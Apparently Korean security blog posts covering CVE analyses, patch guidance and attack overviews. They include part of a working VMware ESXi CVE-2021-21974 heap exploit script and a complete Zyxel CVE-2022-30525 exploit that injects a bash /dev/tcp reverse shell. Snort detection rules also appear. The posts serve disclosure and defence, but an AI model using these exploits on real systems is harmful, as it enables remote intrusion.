   print("[+] libc __free_hook address: ", hex(libc___free_hook_address))
   print("[+] ret address: ", hex(libc_ret_address))
   print("[+] gadget address: ", hex(gadget_address))
   print('[+] heap address: ', hex(heap_address))
   print("[+] shell command address: ", hex(shell_cmd_address))
   print("[+] stack enviorn address: ", hex(stack_environ_address))
   print("[+] esp value: ", hex(esp_value))
   print("[+] pivoted esp value: ", hex(pivoted_esp_value))
   print()

   requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   
   requests[32].put(connect())
   requests[32].put(block(0x810))
   requests[33].put(connect())
   requests[34].put(connect())
   requests[34].put(block(0x810))
   requests[33].put(block(0x100))
  
   requests[35].put(connect())
   requests[36].put(connect())

   requests[34].put(close())
   requests[37].put(connect())
   requests[37].put(overflow_and_extend(0x120, 0x3))
   requests[36].put(update_target_recv_buffer(0x4, shell_cmd_address))
   requests[38].put(connect())
   requests[38].put(block(0x178))
   
   requests[32].put(close())
   requests[39].put(connect())
   requests[39].put(overflow_and_extend(0x140, 0x1))
   requests[35].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[40].put(connect())
   requests[40].put(block(0x178))   

   fd = 0x1a
   payload = shell_cmd + b'\x00'
   requests[36].put(update_target_recv_buffer(len(payload), shell_cmd_address))
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))
   
   payload = struct.pack('<I', libc_ret_address) * 10 + struct.pack('<I', libc_system_address) + b'\x41' * 4 + struct.pack('<I', shell_cmd_address)
   requests[36].put(update_target_recv_buffer(len(payload), pivoted_esp_value - 0x10)) 
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))
   
   #breakpoint()
   
   payload = b'\x41\x41\x41\x41' if DEBUG == True else struct.pack('<I', gadget_address)
   requests[36].put(update_target_recv_buffer(len(payload), libc___free_hook_address))
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))

   time.sleep(T + 1.0) 
   print('[*] exploit deployed')
   return 0

def intro():
   print("   _____   _____   ___ __ ___ _    ___ _ ___ ____ _ _       ")
   print("  / __\ \ / / __|_|_  )  \_  ) |__|_  ) / _ \__  | | |      ")
   print(" | (__ \ V /| _|___/ / () / /| |___/ /| \_, / / /|_  _|     ")
   print("  \___| \_/ |___| /___\__/___|_|  /___|_|/_/ /_/   |_|      ")
   print()
   print("                       PoC Exploit                          ")
   print()
   print("      vuln discovered by: Lucas Leong (@_wmliang_)          ")
   print("           poc by: Johnny Yu (@straight_blast)              ")
   print("                                                            ")
   print()
   print("           currently support the following:                 ")
   print("         [1] VMware ESXi 6.7.0 build-14320388               ")
   print("         [2] VMware ESXi 6.7.0 build-16316930               ")
   print()

if __name__ == '__main__':
   intro()   
   exploit()

3. 대응방안

① 최신 업데이트 적용

※ 참고: https://www.vmware.com/security/advisories/VMSA-2021-0002.html

제품명 플랫폼 영향 받는 버전 패치 버전
ESXi 모든 플랫폼 6.5 ESXi650-202102101-SG
6.7 ESXi670-202102401-SG
7.0 ESXi70U1c-17325551

 

② SLP 서비스 사용 중지

  ⒜ 명령어 사용

    i) ssh로 취약한 ESXi 호스트에 로그인
    ii) 아래 명령어로 호스트 SLP 서비스 중지
      - /etc/init.d/slpd stop
    iii) 재부팅 후에도 비활성화를 유지하려면 아래 명령어를 입력
      - chkconfig slpd off

 

  ⒝ GUI 사용

    i) vCenter에 로그인
    ii) ESXi 호스트를 선택하고 'Configure'-'Service' 탭 클릭
    iii) 목록에서 SLP 서비스를 선택
      * 목록에 SLP가 없다면 명령어로 SLP 서비스를 중지
    iv) 알림창의 서비스 중지 버튼('OK')를 클릭

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21974
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://github.com/Shadow0ps/CVE-2021-21974/blob/main/2021-21974-POC.py
https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9
https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi
- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=3592
- https://koren.kr/kor/Alram/notiView.asp?s=4082 

1. 개요

- 팔란트가 앞선 2차례 보안 S/W (TouchEnxKey_라온시큐어, IPinside_인터리젠) 취약점을 공유

- 3차 공개된 게시글은 보안 S/W에서의 인증서 사용 방식에대한 문제를 제시

 

1.1 인증서

- Transport Layer Security (TLS)라는 프로토콜을 사용해 브라우저와 웹 서버간 보안통신(암호화)를 적용

- TLS는 소수의 신뢰할 만한 (trusted) 인증 기관(CA; Certification Authority)에서 발행하는 웹사이트의 인증서(certificate)를 통해 해당 웹사이트가 맞다는 신분을 증명

 

2. 취약점

- 보안 S/W가 암호화 통신을 위해 사설인증서를 PC 영역에 설치하여 사용

※ 보안 S/W : 아래 표 참조

※ PC 영역 : 신뢰할 수 있는 최상위 인증기관의 인증서를 보관하는 영역

※ 설치 : 브라우저와 보안 S/W 간 암호화 통신을 위해 사설인증서를 브라우저가 신뢰할 수 있도록 해당 기관을 최상위 인증기관으로 등록

 

- 현재까지 한국의 어플리케이션에 의해 다음 인증 기관이 설치됨

이름 설치하는 애플리케이션 유효기간 시리얼 넘버
ASTxRoot2 AhnLab Safe Transaction 2015-06-18 to 2038-06-12 009c786262fd7479bd
iniLINE CrossEX RootCA2 TouchEn nxKey 2018-10-10 to 2099-12-31 01
INTEREZEN CA Interezen IPInside Agent 2021-06-09 to 2041-06-04 00d5412a38cb0e4a01
LumenSoft CA KeySharp CertRelay 2012-08-08 to 2052-07-29 00e9fdfd6ee2ef74fc
WIZVERA-CA-SHA1 Wizvera Veraport 2019-10-23 to 2040-05-05 74b7009ee43bc78fce69 
73ade1da8b18c5e8725a
WIZVERA-CA-SHA2 Wizvera Veraport,
Wizvera Delfino
2019-10-23 to 2040-05-05 20bbeb748527aeaa25fb
381926de8dc207102b71

 

- 이로인해 다음과 같은 문제가 발생

① TLS가 제공하는 보호를 약화 시킴

② 인증 기관을 악용할 경우 많은 한국의 사용자를 대상으로 웹사이트를 사칭할 수 있음

 

2.1 사설인증서의 미삭제 문제

- 해당 보안 S/W가 삭제되어도 사설인증서는 삭제되지 않음

※ 인증서 수동 삭제 필요

 

2.2 사설인증서의 악용 문제

- 사용 용도에 대해 제한을 두지 않아 비밀키 유출 시 다른 용도로 악용 가능

※ 타 웹 서버 인증, 코드서명, 이메일 서명 등

 

2.3 사설인증서의 비밀키에 대한 관리 문제

- 사설인증서와 관련된 비밀키의 안전한 보관 여부, 접근 권한에 대해 알지 못하며, 제3자에 의한 감사를 받지 않음

※ 사용자들은 비밀키를 안전하게 보관할 것이라 믿을 수 밖에 없으나, 앞서 공개된 게시글에 따르면 낮은 보안성을 가짐

 

3. 해결방안

- 보안 S/W의 사설인증서 사용이 안전한 통신을 위한 것임을 설명하며, 보다 안전한 방법을 제시

- 방안 : 동일한 인증기관을 모든 컴퓨터에 설치하는 대신, 각각의 컴퓨터마다 다른 인증서를 등록

※ 자체 인증 기관을 설치하지만 한 컴퓨터에서만 유효하고 거기에서만 실행되기 때문에 상대적으로 안전

- 방안의 절차는 다음과 같음

① 새 인증 기관 및 대응되는 비밀키를 (무작위로) 생성

② 컴퓨터의 신뢰할 만한 인증 기관 목록에 추가

③ 127.0.0.1을 위한 인증서를 만들고 위 인증 기관의 비밀 키로 서명

④ 인증 기관의 비밀키를 파기

※ 이니텍 CrossWeb Ex V3의 경우 위와 같은 방법으로 동작하는 것으로 추정_유효기간 시작일이 설치 날짜와 동일한지 보면 쉽게 알 수 있음

 

4. 참고

- https://palant.info/2023/02/06/weakening-tls-protection-south-korean-style/

- https://github.com/alanleedev/KoreaSecurityApps/blob/main/03_weakening_tls_protection.md

1. Zyxel

- 네트워크 통신 장비를 서비스하는 대만 다국적 기업

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2022-30525

- 취약한 Zyxel 방화벽의 관리 HTTP 인터페이스(인터넷에 노출된 경우)를 통해 OS 명령을 실행할 수 있는 취약점

영향받는 제품
① USG FLEX 100(W), 200, 500, 700 – 펌웨어: ZLD V5.00 ~ ZLD V5.21 패치 1
② USG FLEX 50(W) / USG20(W)-VPN – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1
③ ATP 시리즈 – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1
④ VPN 시리즈 – 펌웨어: ZLD V4.60 ~ ZLD V5.21 패치 1
※ 이러한 제품은 일반적으로 VPN, SSL 검사, 침입 방지, 이메일 보안 및 웹 필터링을 위해 소규모 지점 및 기업 본사에서 사용

[사진 2] 쇼단 검색 화면

2.1 분석

- 해당 취약점은 /ztp/cgi-bin/handler URI를 통해 악용되며, 취약한 기능은 setWanPortSt 명령과 관련

- handler.py에서 지원하는 명령은 다음과 같음

※ handler: 다양한 명령을 처리하는 Python 스크립트

supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "pcap", "traceroute", \
  "atraceroute", "iptables", "getorchstat", \
  "getInterfaceName_out", "getInterfaceInfo", \
  #"getSingleInterfaceInfo", "getAllInterfaceInfo", \
  #"getInterfaceNameAll", "getInterfaceNameMapping", \
  "nslookup", "iproget", \
  "diagnosticinfo", "networkUnitedTest", \
  #"setRemoteAssistActive", "getRemoteAssist", \
  "setRemoteZyxelSupport", "getRemoteZyxelSupport", \
  "getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \
  "getUSBSt","setUSBmount","setUSBactive", \
  "getDiagnosticInfoUsb", \
  "getDeviceCloudInfo", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \
  "getlanguagest","setlanguage"
]

 

- setWanPortSt 명령을 통한 요청일 경우 handler.py는 lib_wan_settings.py의 setWanPortSt를 호출

def setWanPortSt(req):

    reply = {}
    vlan_tagged = ''
    logging.info(req)
    port = req["port"].strip()

    vlanid = req["vlanid"]
    proto = req["proto"]
    data = req["data"]
    vlan_tagged = req["vlan_tagged"]
    
    cmdLine = ''
    GUIportst = {}
    
    extname = findextname(port)

    #TODO: subprocess method
    try:
        if vlan_tagged == '1':
            if vlanid == '':
                vlanid == '0'

        if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "static":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            prefix_length = netmask_to_cidr(data['netmask'])
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 12 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 2 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + data['ipaddr'] + ' ' + str(prefix_length) + ' ' + data['gateway'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' ' + data['firstDnsServer']
            if 'secondDnsServer' in data:
                cmdLine += ' ' + data['secondDnsServer']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "pppoe":
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 13 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 3 '
            #extname = findextname(port)

            if 'auth_type' not in data:
                data['auth_type'] = 'chap-pap'
            if 'mtu' not in req:
                req['mtu'] = '1492'
            if 'ipaddr' not in data:
                data['ipaddr'] = '0.0.0.0'
            if 'gateway' not in data:
                data['gateway'] = '0.0.0.0'
            if 'firstDnsServer' not in data:
                data['firstDnsServer'] = '0.0.0.0'

            cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] 
                + ' ' + data['auth_type'] 
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] 
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' >/dev/null 2>&1'
            
        logging.info("cmdLine = %s" % cmdLine)
        with open("/tmp/local_gui_write_flag", "w") as fout:
            fout.write("1");

        response = os.system(cmdLine) 
        logging.info(response)
        if response != 256:
            logging.info("cmd thread return error")
            reply = {"error": 500}
        else:
            logging.info("cmd success!!")
            reply["stdout"] = [{}]
            reply["stderr"] =""
            with open(WAN_PORT_LAST_CHANGED, "w") as fout:
                fout.write(port)
            if not os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD):
                reply = {"error": 500, "exception": "Cannot find data2cloud folder!"}
            with open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + 'local_wan_modified', 'a+') as fout:
                fout.write(port + ' ')
            
    except Exception as e:
        reply = {"error": 500, "exception": e}
   
    return reply

 

- setWanPortSt()는 사용자 요청을 검증 없이 cmdLine 변수에 저장 후 os.system(cmdLine)으로 명령을 실행

def setWanPortSt(req):

...

 if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'

...

cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] 
                + ' ' + data['auth_type'] 
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] 
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
                
...

response = os.system(cmdLine)

 

2.2 PoC

- exploit(url, host, port)의 data 변수를 사용해 임의의 명령을 삽입

from requests.packages.urllib3.exceptions import InsecureRequestWarning
import sys
import json
import base64
import requests
import argparse


parser = argparse.ArgumentParser(
    prog="CVE-2022-30525.py",
    description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444",
)
parser.add_argument("-u", dest="url", help="Specify target URL")
parser.add_argument("-r", dest="host", help="Specify Remote host")
parser.add_argument("-p", dest="port", help="Specify Remote port")

args = parser.parse_args()

banner = (
    "ICwtLiAuICAgLCAsLS0uICAgICAsLS4gICAsLS4gICwtLiAgLC0uICAgICAgLC0tLCAgLC0uICA7"
    "LS0nICwtLiAgOy0tJyAKLyAgICB8ICAvICB8ICAgICAgICAgICApIC8gIC9cICAgICkgICAgKSAg"
    "ICAgICAvICAvICAvXCB8ICAgICAgICkgfCAgICAKfCAgICB8IC8gICB8LSAgIC0tLSAgIC8gIHwg"
    "LyB8ICAgLyAgICAvICAtLS0gIGAuICB8IC8gfCBgLS4gICAgLyAgYC0uICAKXCAgICB8LyAgICB8"
    "ICAgICAgICAgLyAgIFwvICAvICAvICAgIC8gICAgICAgICAgKSBcLyAgLyAgICApICAvICAgICAg"
    "KSAKIGAtJyAnICAgICBgLS0nICAgICAnLS0nICBgLScgICctLScgJy0tJyAgICAgYC0nICAgYC0n"
    "ICBgLScgICctLScgYC0nICAKCVJldnNoZWxscwkoQ3JlYXRlZCBCeSBWYWxlbnRpbiBMb2JzdGVp"
    "biA6KSApCg=="
)


def main():

    print("\n" + base64.b64decode(banner).decode("utf-8"))

    if None in vars(args).values():
        print(f"[!] Please enter all parameters !")
        parser.print_help()
        sys.exit()

    if "http" not in args.url:
        args.url = "https://" + args.url
    args.url += "/ztp/cgi-bin/handler"
    exploit(args.url, args.host, args.port)


def exploit(url, host, port):
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
        "Content-Type": "application/json",
    }

    data = {
        "command": "setWanPortSt",
        "proto": "dhcp",
        "port": "4",
        "vlan_tagged": "1",
        "vlanid": "5",
        "mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
        "data": "hi",
    }
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    print(f"\n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}")

    try:
        response = requests.post(
            url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5
        )
    except (KeyboardInterrupt, requests.exceptions.Timeout):
        print("[!] Bye Bye hekcer !")
        sys.exit(1)
    finally:

        try:
            print("[!] Can't exploit the target ! Code :", response.status_code)

        except:
            print("[!] Enjoy your shell !!!")


if __name__ == "__main__":
    main()

[사진 3] 공격 패킷 일부

3. 대응방안

3.1 서버측면

① 해당 벤더사에서 발표한 보안 권고를 참고하여 최신 버전으로 업데이트 적용

제품명 영향받는 버전 해결 버전
USG FLEX 100(W), 200, 500, 700 ZLD V5.00 ~ ZLD V5.21 Patch 1 ZLD V5.30
USG FLEX 50(W) / USG20(W)-VPN ZLD V5.10 ~ ZLD V5.21 Patch 1 ZLD V5.30
ATP series ZLD V5.10 ~ ZLD V5.21 Patch 1 ZLD V5.30
VPN series ZLD V4.60 ~ ZLD V5.21 Patch 1 ZLD V5.30

https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml

 

3.2 네트워크 측면

① 공개된 PoC를 확인해 탐지 정책 적용

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"Zyxel Firewall handler mtu RCE (CVE-2022-30525)";flow:to_server, established;content:"/ztp/cgi-bin/handler";)

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"Zyxel Firewall handler mtu RCE (CVE-2022-30525)";flow:to_server, established;content:"/ztp/cgi-bin/handler";content:"setWanPortSt"; http_client_body;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-30525

https://www.exploit-db.com/exploits/50946

- http://www.zyxel.kr/bbs/board.php?bo_table=notice&wr_id=169&page=2

https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/

https://www.bleepingcomputer.com/news/security/zyxel-fixes-firewall-flaws-that-could-lead-to-hacked-networks/

https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-os-command-injection-vulnerability-of-firewalls

https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66715

https://blog.alyac.co.kr/4715

1. 이메일(E-mail)

- 네트워크. 그 중에서도 주로 인터넷을 이용한 메세지 송수신 규약

- 오늘날 이메일은 가장 널리 사용되는 디지털 커뮤니케이션 방법 중 하나

[사진 1] E-mail 동작 과정

1.1 위협

- 수많은 사이버 공격이 이메일로부터 시작

- 최근 팬데믹 이후 재택근무 등 비대면 업무가 보편화되면서 이메일을 통한 공격이 증가

- 이메일을 사용해 소셜 엔지니어링, 랜섬웨어, 피싱 메일 등을 통한 사이버 위협이 증가하는 추세

 

- 아크로니스 ‘2022년 하반기 사이버 위협 및 동향 보고서’

> 피싱 및 악성 이메일 위협이 60% 증가했으며, 사건당 평균 데이터 유출 피해 비용이 500만 달러를 넘어설 것으로 예상

> 사회 공학적 공격이 지난 4개월 동안 급증하여 전체 공격의 3%를 차지

[사진 2]&nbsp;아크로니스 &lsquo;2022년 하반기 사이버 위협 및 동향 보고서&rsquo; 中 발췌

2. BEC 공격

- 기업 이메일 침해 (Business Email Compromise, BEC)

- 피해자가 평소 신뢰하고 있던 이메일로부터 들어오는 사기 공격 즉, 정당한 송신자로 위장하여 수신자를 속이는 방법

> 기업들을 위해 개발된 마케팅 서비스와 도구, 구글의 무료 번역 서비스인 구글 트랜슬레이트(Google Translate)를 활용

> 이메일 마케팅 도구나 번역 도구 모두 점점 정확해지고 사용 방법도 간단해지고 있으며 가격도 저렴해지는 추세

 

- 멀웨어를 활용하는것 보다 쉬운 공격 형태이며, 추적의 어려움 및 투자 시간 대비 높은 수익을 얻어 공격자들에게 인기

- 정상적인 내부 업무 프로세스와 절차를 악용하기에 피해 사실을 즉시 인지하기 어려움

- 공격자는 기업 인프라 외부에 위치

 

2.1 피해

- 2022년 발생한 사이버 공격 사례 중 랜섬웨어 뒤를 이어 가장 많이 발생한 공격

- 2016 ~ 2019 전 세계에서 260억 달러의 피해가 발생하였으며, 2022년 한 해 동안 누적된 피해액은 430억 달러로 집계

 

- 파이어브릭 오스트리치(Firebrick Ostrich)

> 2021년 4월부터 지금까지 151개 기업과 기관들을 사칭하고, 212개 악성 도메인들을 생성

> 자신들이 사칭하는 회사가, 공격 표적이 된 회사와 서로 사업적 관계를 맺고 있다는 것만 알면 공격을 시작

> 조사 후 사칭할 회사와 유사한 웹 도메인 생성하고, 가상의 회사를 생성해 메일을 전송

> 공격 표적에 계좌번호를 전송해 입금을 유도하는 메일 사용

 

2.2 대응

- 정당한 송신자로 위장해 수신자를 속이는 수법이므로 임직원의 보안인식 제고가 필요

> ‘늘 합리적으로 의심하라’는 교육부터 시작

> 사내 공식 프로세스를 좀 더 탄탄하게 형성 > 한두 사람의 담당자가 임의로 업무를 완료할 수 없도록

> 악성 메일 모의훈련 진행

 

- 행동 패턴을 기반으로 한 머신러닝 및 인공지능 도구를 투입

> 메일, 메일과 관련된 트래픽, 그 메일로부터 나온 첨부파일이나 링크가 비정상적인 행동 패턴을 나타내는지 확인

 

3. EAC 공격

- 이메일 계정 침해 공격 (Email Account Compromise, EAC)

- 다양한 방법을 동원해 실제 메일 계정을 침해(탈취)한 후 공격에 악용

 

3.1 피해

- 실제 이메일 계정을 탈취하므로 추가적인 공격을 수행할 수 있음

> 계정 침해가 이뤄진 다음에는 DMARC 등 이메일 보안 매커니즘이 작동하지 않음

> 메일함에 저장된 민감한 정보를 찾아 빼돌리기

> 공격자가 제어하는 또 다른 계정으로 중요한 메일을 송수신할 수 있도록 설정 변경

> 연락처에 저장된 곳으로 스팸 메일 전송

 

- 공격자가 실제로 기업의 인프라 내에 들어와 있음

> BEC 공격보다 더욱 치명적인 결과를 초래할 위험이 있음

 

3.2 대응

- 실제 공격을 통해 이메일 계정을 탈취하므로 계정에대한 보호가 필요

> 계정 장악을 위한 온갖 공격 시나리오로부터 실질적인 방어 대책이 마련

> 100% 방어률을 기록하지 못한다는 것을 인지

> 외부 메일 모니터링과 기업 방화벽 내에서부터 발생되는 이메일 메시지들에 대한 악성 여부 점검도 실시

 

4. 참고

- https://www.boannews.com/media/view.asp?idx=93197

- https://www.boannews.com/media/view.asp?idx=113972

- http://www.boannews.com/media/view.asp?idx=69256&page=2&mkind=1&kind=1

- https://www.itbiznews.com/news/articleView.html?idxno=63857 

https://www.cloudflare.com/ko-kr/learning/email-security/what-is-email/

- https://www.dailysecu.com/news/articleView.html?idxno=142574 

https://www.acronis.com/en-us/lp/cyberthreats-report-2022-end-year/#registration

https://mantos.kr/8

'취약점 > Social Engineering' 카테고리의 다른 글

Browser in the Browser (BitB)  (0) 2023.04.20
랜섬웨어 그룹 사칭 피싱메일  (0) 2023.04.03
심 스와핑 (SIM Swapping)  (0) 2023.02.21
사회공학기법 #2 유형 및 대응  (1) 2022.08.25
사회공학기법 #1 개요  (0) 2022.08.24

1. 대역폭 공격_DRDoS

DNS Reflection Attack
요약 - 공격자는 다량의 DNS 패킷을 서버로 전송하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - 피해자의 IP로 스푸핑하여 네임서버에 비정상 DNS 질의를 요청하고, 요청을 받은 네임서버는 DNS 응답 값을 위장한 IP로 전송하여 공격 대상의 회선 대역폭을 고갈시키는 공격 (DNS Port: 53_UDP/TCP)

- 공격 트래픽 양을 높이기 위하여 단순 DNS Query가 아닌 Zone의 모든 정보를 요청하는 “ANY” 또는 "TXT" 레코드 등를 요청하는 특징

 

NTP Reflection Attack
요약 - NTP 서버에게 비정상적인 요청패킷을 보내서 되돌아오는 응답 값을 공격 payload로 활용하는 공격 유형
설명 - 시간동기화를 위해 사용되는 NTP(Network Time Protocol) 서버를 반사서버로 악용한 공격 (NTP Port: 123_UDP)

- 피해자의 IP로 스푸핑 한 다음 확보한 서버들을 대상으로 가능한 많은 응답패킷을 만들어 내기 위해 monlist를 요청하는 명령을 전송

- monlist: 구버전의 NTP서버에서 사용하는 명령어로, 최근 접속한 최대 600개의 접속 호스트에 대한 정보를 응답 받을 수 있는 명령어 (v2.4.7 이상에서는 해당 명령어가 삭제됨)

 

CLDAP Reflection Attack
요약 - CLDAP 서버에게 비정상적인 Query를 보낸 후 되돌아오는 응답 값을 공격 패킷으로 활용하는 공격 유형
설명 - CLDAP(Connection-less Lightweight Directory Access Protocol)이란 네트워크상에서 디렉토리를 연결/검색/수정하기 위해 사용되는 프로토콜 (CLDAP Port: 389_UDP)

- CLDAP 서버를 반사서버로 악용한 공격

- CLDAP 서버가 갖고 있는 모든 Entry 및 Attribute 값을 요청하며, 서버가 갖고 있는 Node 정보가 많을수록 응답 패킷의 규모가 커짐 (증폭률 56~70배)

 

SSDP Reflection Attack
요약 - SSDP 기능을 악용하여 가능한 한 많은 데이터를요청하는 Search 명령을 보내 정상적인 서비스가 불가능하도록 하는 공격 
설명 - IoT 기기들에 널리 사용되는 SSDP(Simple Service Discovery Protocol)는 UPnP 장치를 탐색할 때 주로 사용되는 프로토콜로 네트워크상의 다른 장치를 찾거나 알리는 역할을 수행 (SSDP Port: 1900_UDP)

- 더 많은 응답 패킷을 만들어 내기 위해 ssdp:all 혹은 ssdp:rootdevice 값이 포함된 Search 명령을 요청

- IoT 기기들은 요청 받은 Search 패킷의 크기와 비교하여 훨씬 더 많은 크기의 응답 패킷을 피해자의 시스템으로 전달 (증폭률 최대 30배)

 

Memcached Reflection Attack
요약 - Memcached 서버의 기능을 악용하여 저장된 캐싱 데이터를 가능한 한 많이 요청하는 request 명령을 요청하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - Memcached 서비스는 내부에서 DB부하감소 및 응답속도 증가를 위해 분산된 메모리에 데이터를 캐싱하는 서비스로 내부에서만 접근하여 사용하도록 설계되었으며, “Key”값으로 “Data”를 매핑하는 구조 (Memcached Port: 11211_UDP)

- Memcached 서버들에게 사전에 확보한 Key값에 대한 Data를 요청 (증폭률 최대 51,000배)

 

WS-Discovery Reflection Attack
요약 - 윈도우 기반 기기들에게 요청을 할 때 고의적으로 XML오류 응답 메시지를 반복적으로 유발시키는 명령을 요청하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - WS-Discovery 서비스는 윈도우 기반 기계들이 네트워크 프린터 등을 자동으로 찾아서 연결 설정을 완료하는데 사용되는 서비스 (WS-Discovery Port: 3702_UDP)

- 원래는 내부 네트워크망에서만 사용되지만 인터넷망에 노출될 경우에는 디도스 공격으로 악용

- WSD 사용 기기들에게 XML오류 응답 메시지를 반복적으로 유발시키는 명령을 대량 요청 (증폭률 최대 500배)

 

ARMS Reflection Attack
요약 - 취약한 Apple Mac 컴퓨터를 대상으로 원격접속 요청하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - ARMS는 Apple社 기기(mac OS)들의 원격 제어 기능을 활성화 할 때 사용되는 데스크탑 원격 제어 프로토콜로 (ARMS Port: 3283_UDP/TCP)

- 확보된 기기들에게 대량의 request 패킷 요청 (증폭률 최대 35.5배)

 

CoAP Reflection Attack
요약 - 외부 노출된 IoT 기기 및 모바일 장치들을 대상으로 변조된 GET Request를 전송하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - CoAP(Constrained Application Protocol)이란 IoT 기기들을 위해 사용되는 프로토콜의 일종으로서, 주로 저전력 컴퓨터들을 위해 만들어진 간단한 프로토콜 (CoAP Port: 5683_UDP)

- 확보한 기기에 CoAP GET Request를 전달 (증폭률 최대 50배)

.

Jenkins Reflection Attack
요약 - 자동 검색 프로토콜이 활성화된 상태에서 검색 요청 Packet을 받으면 요청 값에 관계없이 Jenkins 메타 데이터의 XML 결과값을 응답하는 취약점을 악용한 공격
설명 - Jenkins란 소프트웨어 개발 시 지속적으로 통합 서비스를 제공해주는 툴

- 다수의 개발자들이 하나의 프로그램을 개발할 때 발생할 수 있는 버전 충돌을 방지하기 위해 각자 작업한 내용을 공유 영역에 업로드 함으로써 지속적 통합을 지원 (Jenkins Port: 33848_UDP)

- Jenkins가 DDoS로 악용 될 수 있는 원인은 취약버전에서 Jenkins 검색을 위해 사용되는 UDP 프로토콜의 요청을 검증없이 응답하기 때문

- 확보한 Jenkins 서버들에게 자동검색 Packet을 요청 (증폭률 최대 100배)

 

SNMP Reflection Attack
요약 - SNMP(Simple Network Management Protocol) 장치들을 반사 기기로 악용한 공격
설명 - SNMP(Simple Network Management Protocol)이란 시스템이나 네트워크 관리자로 하여금 원격으로 네트워크 장비를 모니터링하고 환경설정 등의 운영을 할 수 있도록 하는 네트워크 관리 프로토콜 (SNMP Port: 161,162_UDP)

 

Chargen Reflection Attack
요약 - Chargen 프로토콜을 악용한 공격
설명 - Chargen 프로토콜은 네트워크를 통해 문자열을 생성하고 보내는 프로토콜로서, 반사공격에선 생성된 문자열을 payload로 활용함 (Chargen Port: 19_UDP)

 

SunRPC Reflection Attack
요약 - RPC(Remote Procedure Call) 프로토콜을 악용한 공격
설명 - RPC(Remote Procedure Call) 프로토콜은 원격으로 함수를 호출하여 사용할 수 있게 하는 프로토콜로 RPC mapper라는 서비스를 통해 이뤄짐 (RPC: 111_UDP)

- RPC mapper를 악용하여 RPC mapper response 패킷을 피해시스템에게 보내 대역폭을 고갈 시킴

 

